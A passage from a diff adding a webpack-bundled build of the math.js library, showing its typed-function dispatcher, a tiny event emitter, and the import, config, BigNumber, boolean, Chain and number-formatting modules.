signatures[2] && signatures[2].params.length <= 2 && !hasRestParam(signatures[2].params); + var ok3 = signatures[3] && signatures[3].params.length <= 2 && !hasRestParam(signatures[3].params); + var ok4 = signatures[4] && signatures[4].params.length <= 2 && !hasRestParam(signatures[4].params); + var ok5 = signatures[5] && signatures[5].params.length <= 2 && !hasRestParam(signatures[5].params); + var allOk = ok0 && ok1 && ok2 && ok3 && ok4 && ok5; + + // compile the tests + var tests = signatures.map(function (signature) { + return compileTests(signature.params); + }); + + var test00 = ok0 ? compileTest(signatures[0].params[0]) : notOk; + var test10 = ok1 ? compileTest(signatures[1].params[0]) : notOk; + var test20 = ok2 ? compileTest(signatures[2].params[0]) : notOk; + var test30 = ok3 ? compileTest(signatures[3].params[0]) : notOk; + var test40 = ok4 ? compileTest(signatures[4].params[0]) : notOk; + var test50 = ok5 ? compileTest(signatures[5].params[0]) : notOk; + + var test01 = ok0 ? compileTest(signatures[0].params[1]) : notOk; + var test11 = ok1 ? compileTest(signatures[1].params[1]) : notOk; + var test21 = ok2 ? compileTest(signatures[2].params[1]) : notOk; + var test31 = ok3 ? compileTest(signatures[3].params[1]) : notOk; + var test41 = ok4 ? compileTest(signatures[4].params[1]) : notOk; + var test51 = ok5 ? compileTest(signatures[5].params[1]) : notOk; + + // compile the functions + var fns = signatures.map(function(signature) { + return compileArgsPreprocessing(signature.params, signature.fn) + }); + + var fn0 = ok0 ? fns[0] : undef; + var fn1 = ok1 ? fns[1] : undef; + var fn2 = ok2 ? fns[2] : undef; + var fn3 = ok3 ? fns[3] : undef; + var fn4 = ok4 ? fns[4] : undef; + var fn5 = ok5 ? fns[5] : undef; + + var len0 = ok0 ? signatures[0].params.length : -1; + var len1 = ok1 ? signatures[1].params.length : -1; + var len2 = ok2 ? signatures[2].params.length : -1; + var len3 = ok3 ? signatures[3].params.length : -1; + var len4 = ok4 ? signatures[4].params.length : -1; + var len5 = ok5 ? signatures[5].params.length : -1; + + // simple and generic, but also slow + var iStart = allOk ? 6 : 0; + var iEnd = signatures.length; + var generic = function generic() { + 'use strict'; + + for (var i = iStart; i < iEnd; i++) { + if (tests[i](arguments)) { + return fns[i].apply(null, arguments); + } + } + + throw createError(name, arguments, signatures); + } + + // create the typed function + // fast, specialized version. Falls back to the slower, generic one if needed + var fn = function fn(arg0, arg1) { + 'use strict'; + + if (arguments.length === len0 && test00(arg0) && test01(arg1)) { return fn0.apply(null, arguments); } + if (arguments.length === len1 && test10(arg0) && test11(arg1)) { return fn1.apply(null, arguments); } + if (arguments.length === len2 && test20(arg0) && test21(arg1)) { return fn2.apply(null, arguments); } + if (arguments.length === len3 && test30(arg0) && test31(arg1)) { return fn3.apply(null, arguments); } + if (arguments.length === len4 && test40(arg0) && test41(arg1)) { return fn4.apply(null, arguments); } + if (arguments.length === len5 && test50(arg0) && test51(arg1)) { return fn5.apply(null, arguments); } + + return generic.apply(null, arguments); + } + + // attach name the typed function + try { + Object.defineProperty(fn, 'name', {value: name}); + } + catch (err) { + // old browsers do not support Object.defineProperty and some don't support setting the name property + // the function name is not essential for the functioning, it's mostly useful for debugging, + // so it's fine to have unnamed functions. + } + + // attach signatures to the function + fn.signatures = createSignaturesMap(signatures); + + return fn; + } + + /** + * Test whether a type should be NOT be ignored + * @param {string} typeName + * @return {boolean} + */ + function notIgnore(typeName) { + return typed.ignore.indexOf(typeName) === -1; + } + + /** + * trim a string + * @param {string} str + * @return {string} + */ + function trim(str) { + return str.trim(); + } + + /** + * Test whether a string is not empty + * @param {string} str + * @return {boolean} + */ + function notEmpty(str) { + return !!str; + } + + /** + * test whether a value is not strict equal to null + * @param {*} value + * @return {boolean} + */ + function notNull(value) { + return value !== null; + } + + /** + * Test whether a parameter has no types defined + * @param {Param} param + * @return {boolean} + */ + function isInvalidParam (param) { + return param.types.length === 0; + } + + /** + * Return all but the last items of an array + * @param {Array} arr + * @return {Array} + */ + function initial(arr) { + return arr.slice(0, arr.length - 1); + } + + /** + * return the last item of an array + * @param {Array} arr + * @return {*} + */ + function last(arr) { + return arr[arr.length - 1]; + } + + /** + * Slice an array or function Arguments + * @param {Array | Arguments | IArguments} arr + * @param {number} start + * @param {number} [end] + * @return {Array} + */ + function slice(arr, start, end) { + return Array.prototype.slice.call(arr, start, end); + } + + /** + * Test whether an array contains some item + * @param {Array} array + * @param {*} item + * @return {boolean} Returns true if array contains item, false if not. + */ + function contains(array, item) { + return array.indexOf(item) !== -1; + } + + /** + * Test whether two arrays have overlapping items + * @param {Array} array1 + * @param {Array} array2 + * @return {boolean} Returns true when at least one item exists in both arrays + */ + function hasOverlap(array1, array2) { + for (var i = 0; i < array1.length; i++) { + if (contains(array2, array1[i])) { + return true; + } + } + + return false; + } + + /** + * Return the first item from an array for which test(arr[i]) returns true + * @param {Array} arr + * @param {function} test + * @return {* | undefined} Returns the first matching item + * or undefined when there is no match + */ + function findInArray(arr, test) { + for (var i = 0; i < arr.length; i++) { + if (test(arr[i])) { + return arr[i]; + } + } + return undefined; + } + + /** + * Filter unique items of an array with strings + * @param {string[]} arr + * @return {string[]} + */ + function uniq(arr) { + var entries = {} + for (var i = 0; i < arr.length; i++) { + entries[arr[i]] = true; + } + return Object.keys(entries); + } + + /** + * Flat map the result invoking a callback for every item in an array. + * https://gist.github.com/samgiles/762ee337dff48623e729 + * @param {Array} arr + * @param {function} callback + * @return {Array} + */ + function flatMap(arr, callback) { + return Array.prototype.concat.apply([], arr.map(callback)); + } + + /** + * Retrieve the function name from a set of typed functions, + * and check whether the name of all functions match (if given) + * @param {function[]} fns + */ + function getName (fns) { + var name = ''; + + for (var i = 0; i < fns.length; i++) { + var fn = fns[i]; + + // check whether the names are the same when defined + if ((typeof fn.signatures === 'object' || typeof fn.signature === 'string') && fn.name !== '') { + if (name === '') { + name = fn.name; + } + else if (name !== fn.name) { + var err = new Error('Function names do not match (expected: ' + name + ', actual: ' + fn.name + ')'); + err.data = { + actual: fn.name, + expected: name + }; + throw err; + } + } + } + + return name; + } + + // extract and merge all signatures of a list with typed functions + function extractSignatures(fns) { + var err; + var signaturesMap = {}; + + function validateUnique(_signature, _fn) { + if (signaturesMap.hasOwnProperty(_signature) && _fn !== signaturesMap[_signature]) { + err = new Error('Signature "' + _signature + '" is defined twice'); + err.data = {signature: _signature}; + throw err; + // else: both signatures point to the same function, that's fine + } + } + + for (var i = 0; i < fns.length; i++) { + var fn = fns[i]; + + // test whether this is a typed-function + if (typeof fn.signatures === 'object') { + // merge the signatures + for (var signature in fn.signatures) { + if (fn.signatures.hasOwnProperty(signature)) { + validateUnique(signature, fn.signatures[signature]); + signaturesMap[signature] = fn.signatures[signature]; + } + } + } + else if (typeof fn.signature === 'string') { + validateUnique(fn.signature, fn); + signaturesMap[fn.signature] = fn; + } + else { + err = new TypeError('Function is no typed-function (index: ' + i + ')'); + err.data = {index: i}; + throw err; + } + } + + return signaturesMap; + } + + typed = createTypedFunction('typed', { + 'string, Object': createTypedFunction, + 'Object': function (signaturesMap) { + // find existing name + var fns = []; + for (var signature in signaturesMap) { + if (signaturesMap.hasOwnProperty(signature)) { + fns.push(signaturesMap[signature]); + } + } + var name = getName(fns); + return createTypedFunction(name, signaturesMap); + }, + '...Function': function (fns) { + return createTypedFunction(getName(fns), extractSignatures(fns)); + }, + 'string, ...Function': function (name, fns) { + return createTypedFunction(name, extractSignatures(fns)); + } + }); + + typed.create = create; + typed.types = _types; + typed.conversions = _conversions; + typed.ignore = _ignore; + typed.convert = convert; + typed.find = find; + + /** + * add a type + * @param {{name: string, test: function}} type + * @param {boolean} [beforeObjectTest=true] + * If true, the new test will be inserted before + * the test with name 'Object' (if any), since + * tests for Object match Array and classes too. + */ + typed.addType = function (type, beforeObjectTest) { + if (!type || typeof type.name !== 'string' || typeof type.test !== 'function') { + throw new TypeError('Object with properties {name: string, test: function} expected'); + } + + if (beforeObjectTest !== false) { + for (var i = 0; i < typed.types.length; i++) { + if (typed.types[i].name === 'Object') { + typed.types.splice(i, 0, type); + return + } + } + } + + typed.types.push(type); + }; + + // add a conversion + typed.addConversion = function (conversion) { + if (!conversion + || typeof conversion.from !== 'string' + || typeof conversion.to !== 'string' + || typeof conversion.convert !== 'function') { + throw new TypeError('Object with properties {from: string, to: string, convert: function} expected'); + } + + typed.conversions.push(conversion); + }; + + return typed; + } + + return create(); +})); + +/***/ }), +/* 165 */ +/***/ (function(module, exports) { + +function E () { + // Keep this empty so it's easier to inherit from + // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3) +} + +E.prototype = { + on: function (name, callback, ctx) { + var e = this.e || (this.e = {}); + + (e[name] || (e[name] = [])).push({ + fn: callback, + ctx: ctx + }); + + return this; + }, + + once: function (name, callback, ctx) { + var self = this; + function listener () { + self.off(name, listener); + callback.apply(ctx, arguments); + }; + + listener._ = callback + return this.on(name, listener, ctx); + }, + + emit: function (name) { + var data = [].slice.call(arguments, 1); + var evtArr = ((this.e || (this.e = {}))[name] || []).slice(); + var i = 0; + var len = evtArr.length; + + for (i; i < len; i++) { + evtArr[i].fn.apply(evtArr[i].ctx, data); + } + + return this; + }, + + off: function (name, callback) { + var e = this.e || (this.e = {}); + var evts = e[name]; + var liveEvents = []; + + if (evts && callback) { + for (var i = 0, len = evts.length; i < len; i++) { + if (evts[i].fn !== callback && evts[i].fn._ !== callback) + liveEvents.push(evts[i]); + } + } + + // Remove event from queue to prevent memory leak + // Suggested by https://github.com/lazd + // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910 + + (liveEvents.length) + ? e[name] = liveEvents + : delete e[name]; + + return this; + } +}; + +module.exports = E; +module.exports.TinyEmitter = E; + + +/***/ }), +/* 166 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +var lazy = __webpack_require__(5).lazy; + +var isFactory = __webpack_require__(5).isFactory; + +var traverse = __webpack_require__(5).traverse; + +var ArgumentsError = __webpack_require__(57); + +function factory(type, config, load, typed, math) { + /** + * Import functions from an object or a module + * + * Syntax: + * + * math.import(object) + * math.import(object, options) + * + * Where: + * + * - `object: Object` + * An object with functions to be imported. + * - `options: Object` An object with import options. Available options: + * - `override: boolean` + * If true, existing functions will be overwritten. False by default. + * - `silent: boolean` + * If true, the function will not throw errors on duplicates or invalid + * types. False by default. + * - `wrap: boolean` + * If true, the functions will be wrapped in a wrapper function + * which converts data types like Matrix to primitive data types like Array. + * The wrapper is needed when extending math.js with libraries which do not + * support these data type. False by default. + * + * Examples: + * + * // define new functions and variables + * math.import({ + * myvalue: 42, + * hello: function (name) { + * return 'hello, ' + name + '!' + * } + * }) + * + * // use the imported function and variable + * math.myvalue * 2 // 84 + * math.hello('user') // 'hello, user!' + * + * // import the npm module 'numbers' + * // (must be installed first with `npm install numbers`) + * math.import(require('numbers'), {wrap: true}) + * + * math.fibonacci(7) // returns 13 + * + * @param {Object | Array} object Object with functions to be imported. + * @param {Object} [options] Import options. + */ + function mathImport(object, options) { + var num = arguments.length; + + if (num !== 1 && num !== 2) { + throw new ArgumentsError('import', num, 1, 2); + } + + if (!options) { + options = {}; + } // TODO: allow a typed-function with name too + + + if (isFactory(object)) { + _importFactory(object, options); + } else if (Array.isArray(object)) { + object.forEach(function (entry) { + mathImport(entry, options); + }); + } else if (_typeof(object) === 'object') { + // a map with functions + for (var name in object) { + if (object.hasOwnProperty(name)) { + var value = object[name]; + + if (isSupportedType(value)) { + _import(name, value, options); + } else if (isFactory(object)) { + _importFactory(object, options); + } else { + mathImport(value, options); + } + } + } + } else { + if (!options.silent) { + throw new TypeError('Factory, Object, or Array expected'); + } + } + } + /** + * Add a property to the math namespace and create a chain proxy for it. + * @param {string} name + * @param {*} value + * @param {Object} options See import for a description of the options + * @private + */ + + + function _import(name, value, options) { + // TODO: refactor this function, it's to complicated and contains duplicate code + if (options.wrap && typeof value === 'function') { + // create a wrapper around the function + value = _wrap(value); + } + + if (isTypedFunction(math[name]) && isTypedFunction(value)) { + if (options.override) { + // give the typed function the right name + value = typed(name, value.signatures); + } else { + // merge the existing and typed function + value = typed(math[name], value); + } + + math[name] = value; + + _importTransform(name, value); + + math.emit('import', name, function resolver() { + return value; + }); + return; + } + + if (math[name] === undefined || options.override) { + math[name] = value; + + _importTransform(name, value); + + math.emit('import', name, function resolver() { + return value; + }); + return; + } + + if (!options.silent) { + throw new Error('Cannot import "' + name + '": already exists'); + } + } + + function _importTransform(name, value) { + if (value && typeof value.transform === 'function') { + math.expression.transform[name] = value.transform; + + if (allowedInExpressions(name)) { + math.expression.mathWithTransform[name] = value.transform; + } + } else { + // remove existing transform + delete math.expression.transform[name]; + + if (allowedInExpressions(name)) { + math.expression.mathWithTransform[name] = value; + } + } + } + + function _deleteTransform(name) { + delete math.expression.transform[name]; + + if (allowedInExpressions(name)) { + math.expression.mathWithTransform[name] = math[name]; + } else { + delete math.expression.mathWithTransform[name]; + } + } + /** + * Create a wrapper a round an function which converts the arguments + * to their primitive values (like convert a Matrix to Array) + * @param {Function} fn + * @return {Function} Returns the wrapped function + * @private + */ + + + function _wrap(fn) { + var wrapper = function wrapper() { + var args = []; + + for (var i = 0, len = arguments.length; i < len; i++) { + var arg = arguments[i]; + args[i] = arg && arg.valueOf(); + } + + return fn.apply(math, args); + }; + + if (fn.transform) { + wrapper.transform = fn.transform; + } + + return wrapper; + } + /** + * Import an instance of a factory into math.js + * @param {{factory: Function, name: string, path: string, math: boolean}} factory + * @param {Object} options See import for a description of the options + * @private + */ + + + function _importFactory(factory, options) { + if (typeof factory.name === 'string') { + var name = factory.name; + var existingTransform = name in math.expression.transform; + var namespace = factory.path ? traverse(math, factory.path) : math; + var existing = namespace.hasOwnProperty(name) ? namespace[name] : undefined; + + var resolver = function resolver() { + var instance = load(factory); + + if (instance && typeof instance.transform === 'function') { + throw new Error('Transforms cannot be attached to factory functions. ' + 'Please create a separate function for it with exports.path="expression.transform"'); + } + + if (isTypedFunction(existing) && isTypedFunction(instance)) { + if (options.override) {// replace the existing typed function (nothing to do) + } else { + // merge the existing and new typed function + instance = typed(existing, instance); + } + + return instance; + } + + if (existing === undefined || options.override) { + return instance; + } + + if (!options.silent) { + throw new Error('Cannot import "' + name + '": already exists'); + } + }; + + if (factory.lazy !== false) { + lazy(namespace, name, resolver); + + if (existingTransform) { + _deleteTransform(name); + } else { + if (factory.path === 'expression.transform' || factoryAllowedInExpressions(factory)) { + lazy(math.expression.mathWithTransform, name, resolver); + } + } + } else { + namespace[name] = resolver(); + + if (existingTransform) { + _deleteTransform(name); + } else { + if (factory.path === 'expression.transform' || factoryAllowedInExpressions(factory)) { + math.expression.mathWithTransform[name] = resolver(); + } + } + } + + math.emit('import', name, resolver, factory.path); + } else { + // unnamed factory. + // no lazy loading + load(factory); + } + } + /** + * Check whether given object is a type which can be imported + * @param {Function | number | string | boolean | null | Unit | Complex} object + * @return {boolean} + * @private + */ + + + function isSupportedType(object) { + return typeof object === 'function' || typeof object === 'number' || typeof object === 'string' || typeof object === 'boolean' || object === null || object && type.isUnit(object) || object && type.isComplex(object) || object && type.isBigNumber(object) || object && type.isFraction(object) || object && type.isMatrix(object) || object && Array.isArray(object); + } + /** + * Test whether a given thing is a typed-function + * @param {*} fn + * @return {boolean} Returns true when `fn` is a typed-function + */ + + + function isTypedFunction(fn) { + return typeof fn === 'function' && _typeof(fn.signatures) === 'object'; + } + + function allowedInExpressions(name) { + return !unsafe.hasOwnProperty(name); + } + + function factoryAllowedInExpressions(factory) { + return factory.path === undefined && !unsafe.hasOwnProperty(factory.name); + } // namespaces and functions not available in the parser for safety reasons + + + var unsafe = { + 'expression': true, + 'type': true, + 'docs': true, + 'error': true, + 'json': true, + 'chain': true // chain method not supported. Note that there is a unit chain too. + + }; + return mathImport; +} + +exports.math = true; // request access to the math namespace as 5th argument of the factory function + +exports.name = 'import'; +exports.factory = factory; +exports.lazy = true; + +/***/ }), +/* 167 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var object = __webpack_require__(5); + +function factory(type, config, load, typed, math) { + var MATRIX = ['Matrix', 'Array']; // valid values for option matrix + + var NUMBER = ['number', 'BigNumber', 'Fraction']; // valid values for option number + + /** + * Set configuration options for math.js, and get current options. + * Will emit a 'config' event, with arguments (curr, prev, changes). + * + * Syntax: + * + * math.config(config: Object): Object + * + * Examples: + * + * math.config().number // outputs 'number' + * math.eval('0.4') // outputs number 0.4 + * math.config({number: 'Fraction'}) + * math.eval('0.4') // outputs Fraction 2/5 + * + * @param {Object} [options] Available options: + * {number} epsilon + * Minimum relative difference between two + * compared values, used by all comparison functions. + * {string} matrix + * A string 'Matrix' (default) or 'Array'. + * {string} number + * A string 'number' (default), 'BigNumber', or 'Fraction' + * {number} precision + * The number of significant digits for BigNumbers. + * Not applicable for Numbers. + * {string} parenthesis + * How to display parentheses in LaTeX and string + * output. + * {string} randomSeed + * Random seed for seeded pseudo random number generator. + * Set to null to randomly seed. + * @return {Object} Returns the current configuration + */ + + function _config(options) { + if (options) { + var prev = object.map(config, object.clone); // validate some of the options + + validateOption(options, 'matrix', MATRIX); + validateOption(options, 'number', NUMBER); // merge options + + object.deepExtend(config, options); + var curr = object.map(config, object.clone); + var changes = object.map(options, object.clone); // emit 'config' event + + math.emit('config', curr, prev, changes); + return curr; + } else { + return object.map(config, object.clone); + } + } // attach the valid options to the function so they can be extended + + + _config.MATRIX = MATRIX; + _config.NUMBER = NUMBER; + return _config; +} +/** + * Test whether an Array contains a specific item. + * @param {Array.} array + * @param {string} item + * @return {boolean} + */ + + +function contains(array, item) { + return array.indexOf(item) !== -1; +} +/** + * Find a string in an array. Case insensitive search + * @param {Array.} array + * @param {string} item + * @return {number} Returns the index when found. Returns -1 when not found + */ + + +function findIndex(array, item) { + return array.map(function (i) { + return i.toLowerCase(); + }).indexOf(item.toLowerCase()); +} +/** + * Validate an option + * @param {Object} options Object with options + * @param {string} name Name of the option to validate + * @param {Array.} values Array with valid values for this option + */ + + +function validateOption(options, name, values) { + if (options[name] !== undefined && !contains(values, options[name])) { + var index = findIndex(values, options[name]); + + if (index !== -1) { + // right value, wrong casing + // TODO: lower case values are deprecated since v3, remove this warning some day. + console.warn('Warning: Wrong casing for configuration option "' + name + '", should be "' + values[index] + '" instead of "' + options[name] + '".'); + options[name] = values[index]; // change the option to the right casing + } else { + // unknown value + console.warn('Warning: Unknown value "' + options[name] + '" for configuration option "' + name + '". Available options: ' + values.map(JSON.stringify).join(', ') + '.'); + } + } +} + +exports.name = 'config'; +exports.math = true; // request the math namespace as fifth argument + +exports.factory = factory; + +/***/ }), +/* 168 */ +/***/ (function(module, exports, __webpack_require__) { + +// This file contains all factory functions of math.js +module.exports = [__webpack_require__(169), // data types (Matrix, Complex, Unit, ...) +__webpack_require__(200), // constants +__webpack_require__(202), // functions +// load ./expression *after* ./function since we need to +// attach transforms to functions that are imported there +__webpack_require__(355), // expression parsing +__webpack_require__(585), // serialization utility (math.json.reviver) +__webpack_require__(587) // errors +]; + +/***/ }), +/* 169 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(170), __webpack_require__(172), __webpack_require__(173), __webpack_require__(177), __webpack_require__(181), __webpack_require__(184), __webpack_require__(64), __webpack_require__(65), __webpack_require__(192), __webpack_require__(193), __webpack_require__(194)]; + +/***/ }), +/* 170 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(171), // construction function +__webpack_require__(105)]; + +/***/ }), +/* 171 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "factory", function() { return factory; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "name", function() { return name; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "path", function() { return path; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "math", function() { return math; }); +/* harmony import */ var decimal_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(160); +/* harmony import */ var decimal_js__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(decimal_js__WEBPACK_IMPORTED_MODULE_0__); + + + +function factory(type, config, load, typed, math) { + var BigNumber = decimal_js__WEBPACK_IMPORTED_MODULE_0___default.a.clone({ + precision: config.precision + }); + /** + * Attach type information + */ + + BigNumber.prototype.type = 'BigNumber'; + BigNumber.prototype.isBigNumber = true; + /** + * Get a JSON representation of a BigNumber containing + * type information + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "BigNumber", "value": "0.2"}` + */ + + BigNumber.prototype.toJSON = function () { + return { + mathjs: 'BigNumber', + value: this.toString() + }; + }; + /** + * Instantiate a BigNumber from a JSON object + * @param {Object} json a JSON object structured as: + * `{"mathjs": "BigNumber", "value": "0.2"}` + * @return {BigNumber} + */ + + + BigNumber.fromJSON = function (json) { + return new BigNumber(json.value); + }; // listen for changed in the configuration, automatically apply changed precision + + + math.on('config', function (curr, prev) { + if (curr.precision !== prev.precision) { + BigNumber.config({ + precision: curr.precision + }); + } + }); + return BigNumber; +} +var name = 'BigNumber'; +var path = 'type'; +var math = true; // request access to the math namespace + +/***/ }), +/* 172 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Create a boolean or convert a string or number to a boolean. + * In case of a number, `true` is returned for non-zero numbers, and `false` in + * case of zero. + * Strings can be `'true'` or `'false'`, or can contain a number. + * When value is a matrix, all elements will be converted to boolean. + * + * Syntax: + * + * math.boolean(x) + * + * Examples: + * + * math.boolean(0) // returns false + * math.boolean(1) // returns true + * math.boolean(-3) // returns true + * math.boolean('true') // returns true + * math.boolean('false') // returns false + * math.boolean([1, 0, 1, 1]) // returns [true, false, true, true] + * + * See also: + * + * bignumber, complex, index, matrix, string, unit + * + * @param {string | number | boolean | Array | Matrix | null} value A value of any type + * @return {boolean | Array | Matrix} The boolean value + */ + var bool = typed('bool', { + '': function _() { + return false; + }, + 'boolean': function boolean(x) { + return x; + }, + 'number': function number(x) { + return !!x; + }, + 'null': function _null(x) { + return false; + }, + 'BigNumber': function BigNumber(x) { + return !x.isZero(); + }, + 'string': function string(x) { + // try case insensitive + var lcase = x.toLowerCase(); + + if (lcase === 'true') { + return true; + } else if (lcase === 'false') { + return false; + } // test whether value is a valid number + + + var num = Number(x); + + if (x !== '' && !isNaN(num)) { + return !!num; + } + + throw new Error('Cannot convert "' + x + '" to a boolean'); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, bool); + } + }); + return bool; +} + +exports.name = 'boolean'; +exports.factory = factory; + +/***/ }), +/* 173 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(174), // construction function +__webpack_require__(176)]; + +/***/ }), +/* 174 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var format = __webpack_require__(9).format; + +var lazy = __webpack_require__(5).lazy; + +function factory(type, config, load, typed, math) { + /** + * @constructor Chain + * Wrap any value in a chain, allowing to perform chained operations on + * the value. + * + * All methods available in the math.js library can be called upon the chain, + * and then will be evaluated with the value itself as first argument. + * The chain can be closed by executing chain.done(), which will return + * the final value. + * + * The Chain has a number of special functions: + * - done() Finalize the chained operation and return the + * chain's value. + * - valueOf() The same as done() + * - toString() Returns a string representation of the chain's value. + * + * @param {*} [value] + */ + function Chain(value) { + if (!(this instanceof Chain)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (type.isChain(value)) { + this.value = value.value; + } else { + this.value = value; + } + } + /** + * Attach type information + */ + + + Chain.prototype.type = 'Chain'; + Chain.prototype.isChain = true; + /** + * Close the chain. Returns the final value. + * Does the same as method valueOf() + * @returns {*} value + */ + + Chain.prototype.done = function () { + return this.value; + }; + /** + * Close the chain. Returns the final value. + * Does the same as method done() + * @returns {*} value + */ + + + Chain.prototype.valueOf = function () { + return this.value; + }; + /** + * Get a string representation of the value in the chain + * @returns {string} + */ + + + Chain.prototype.toString = function () { + return format(this.value); + }; + /** + * Get a JSON representation of the chain + * @returns {Object} + */ + + + Chain.prototype.toJSON = function () { + return { + mathjs: 'Chain', + value: this.value + }; + }; + /** + * Instantiate a Chain from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "Chain", value: ...}`, + * where mathjs is optional + * @returns {Chain} + */ + + + Chain.fromJSON = function (json) { + return new Chain(json.value); + }; + /** + * Create a proxy method for the chain + * @param {string} name + * @param {Function} fn The function to be proxied + * If fn is no function, it is silently ignored. + * @private + */ + + + function createProxy(name, fn) { + if (typeof fn === 'function') { + Chain.prototype[name] = chainify(fn); + } + } + /** + * Create a proxy method for the chain + * @param {string} name + * @param {function} resolver The function resolving with the + * function to be proxied + * @private + */ + + + function createLazyProxy(name, resolver) { + lazy(Chain.prototype, name, function outerResolver() { + var fn = resolver(); + + if (typeof fn === 'function') { + return chainify(fn); + } + + return undefined; // if not a function, ignore + }); + } + /** + * Make a function chainable + * @param {function} fn + * @return {Function} chain function + * @private + */ + + + function chainify(fn) { + return function () { + var args = [this.value]; // `this` will be the context of a Chain instance + + for (var i = 0; i < arguments.length; i++) { + args[i + 1] = arguments[i]; + } + + return new Chain(fn.apply(fn, args)); + }; + } + /** + * Create a proxy for a single method, or an object with multiple methods. + * Example usage: + * + * Chain.createProxy('add', function add (x, y) {...}) + * Chain.createProxy({ + * add: function add (x, y) {...}, + * subtract: function subtract (x, y) {...} + * } + * + * @param {string | Object} arg0 A name (string), or an object with + * functions + * @param {*} [arg1] A function, when arg0 is a name + */ + + + Chain.createProxy = function (arg0, arg1) { + if (typeof arg0 === 'string') { + // createProxy(name, value) + createProxy(arg0, arg1); + } else { + // createProxy(values) + for (var prop in arg0) { + if (arg0.hasOwnProperty(prop)) { + createProxy(prop, arg0[prop]); + } + } + } + }; // create proxy for everything that is in math.js + + + Chain.createProxy(math); // register on the import event, automatically add a proxy for every imported function. + + math.on('import', function (name, resolver, path) { + if (path === undefined) { + // an imported function (not a data type or something special) + createLazyProxy(name, resolver); + } + }); + return Chain; +} + +exports.name = 'Chain'; +exports.path = 'type'; +exports.factory = factory; +exports.math = true; // require providing the math namespace as 5th argument + +exports.lazy = false; // we need to register a listener on the import events, so no lazy loading + +/***/ }), +/* 175 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var objectUtils = __webpack_require__(5); +/** + * Convert a BigNumber to a formatted string representation. + * + * Syntax: + * + * format(value) + * format(value, options) + * format(value, precision) + * format(value, fn) + * + * Where: + * + * {number} value The value to be formatted + * {Object} options An object with formatting options. Available options: + * {string} notation + * Number notation. Choose from: + * 'fixed' Always use regular number notation. + * For example '123.40' and '14000000' + * 'exponential' Always use exponential notation. + * For example '1.234e+2' and '1.4e+7' + * 'auto' (default) Regular number notation for numbers + * having an absolute value between + * `lower` and `upper` bounds, and uses + * exponential notation elsewhere. + * Lower bound is included, upper bound + * is excluded. + * For example '123.4' and '1.4e7'. + * {number} precision A number between 0 and 16 to round + * the digits of the number. + * In case of notations 'exponential', + * 'engineering', and 'auto', + * `precision` defines the total + * number of significant digits returned. + * In case of notation 'fixed', + * `precision` defines the number of + * significant digits after the decimal + * point. + * `precision` is undefined by default. + * {number} lowerExp Exponent determining the lower boundary + * for formatting a value with an exponent + * when `notation='auto`. + * Default value is `-3`. + * {number} upperExp Exponent determining the upper boundary + * for formatting a value with an exponent + * when `notation='auto`. + * Default value is `5`. + * {Function} fn A custom formatting function. Can be used to override the + * built-in notations. Function `fn` is called with `value` as + * parameter and must return a string. Is useful for example to + * format all values inside a matrix in a particular way. + * + * Examples: + * + * format(6.4) // '6.4' + * format(1240000) // '1.24e6' + * format(1/3) // '0.3333333333333333' + * format(1/3, 3) // '0.333' + * format(21385, 2) // '21000' + * format(12e8, {notation: 'fixed'}) // returns '1200000000' + * format(2.3, {notation: 'fixed', precision: 4}) // returns '2.3000' + * format(52.8, {notation: 'exponential'}) // returns '5.28e+1' + * format(12400, {notation: 'engineering'}) // returns '12.400e+3' + * + * @param {BigNumber} value + * @param {Object | Function | number} [options] + * @return {string} str The formatted value + */ + + +exports.format = function (value, options) { + if (typeof options === 'function') { + // handle format(value, fn) + return options(value); + } // handle special cases + + + if (!value.isFinite()) { + return value.isNaN() ? 'NaN' : value.gt(0) ? 'Infinity' : '-Infinity'; + } // default values for options + + + var notation = 'auto'; + var precision; + + if (options !== undefined) { + // determine notation from options + if (options.notation) { + notation = options.notation; + } // determine precision from options + + + if (typeof options === 'number') { + precision = options; + } else if (options.precision) { + precision = options.precision; + } + } // handle the various notations + + + switch (notation) { + case 'fixed': + return exports.toFixed(value, precision); + + case 'exponential': + return exports.toExponential(value, precision); + + case 'engineering': + return exports.toEngineering(value, precision); + + case 'auto': + // TODO: clean up some day. Deprecated since: 2018-01-24 + // @deprecated upper and lower are replaced with upperExp and lowerExp since v4.0.0 + if (options && options.exponential && (options.exponential.lower !== undefined || options.exponential.upper !== undefined)) { + var fixedOptions = objectUtils.map(options, function (x) { + return x; + }); + fixedOptions.exponential = undefined; + + if (options.exponential.lower !== undefined) { + fixedOptions.lowerExp = Math.round(Math.log(options.exponential.lower) / Math.LN10); + } + + if (options.exponential.upper !== undefined) { + fixedOptions.upperExp = 